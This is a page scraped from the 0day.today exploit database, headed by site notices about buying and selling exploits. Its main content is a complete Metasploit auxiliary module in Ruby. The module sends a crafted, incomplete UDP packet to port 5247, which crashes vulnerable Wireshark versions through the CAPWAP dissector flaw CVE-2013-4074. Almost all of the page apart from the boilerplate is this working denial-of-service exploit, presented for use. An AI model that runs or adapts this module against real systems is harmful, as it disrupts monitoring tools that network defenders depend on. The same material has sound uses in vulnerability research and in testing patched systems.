0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Wireshark CAPWAP Dissector - Denial of Service (msf)
Author
Risk
[Security Risk Medium
]0day-ID
Category
Date add
CVE
Platform
#
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::Udp
include Msf::Auxiliary::Dos
def initialize(info = {})
super(update_info(info,
'Name' => 'Wireshark CAPWAP Dissector DoS',
'Description' => %q{
This module inject a malicious udp packet to crash Wireshark 1.8.0 to 1.8.7 and 1.6.0
to 1.6.15. The vulnerability exists in the capwap dissector which fails to handle an
incomplete packet.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Laurent Butti', # Discovery vulnerability
'j0sm1' # Auxiliary msf module
],
'References' =>
[
['CVE', '2013-4074'],
['OSVDB', '94091'],
['BID', '60500']
],
'DisclosureDate' => 'Apr 28 2014'))
# Protocol capwap needs port 5247 to trigger the dissector in wireshark
register_options([ Opt::RPORT(5247) ], self.class)
end
def run
connect_udp
# We send a packet incomplete to crash dissector
print_status("#{rhost}:#{rport} - Trying to crash wireshark capwap dissector ...")
# With 0x90 in this location we set to 1 the flags F and M. The others flags are sets to 0, then
# the dissector crash
# You can see more information here: https://www.rfc-editor.org/rfc/rfc5415.txt
# F = 1 ; L = 0 ; W = 0 ; M = 1 ; K = 0 ; Flags = 000
buf = Rex::Text.rand_text(3) + "\x90" + Rex::Text.rand_text(15)
udp_sock.put(buf)
disconnect_udp
end
end
# 0day.today [2024-12-26] #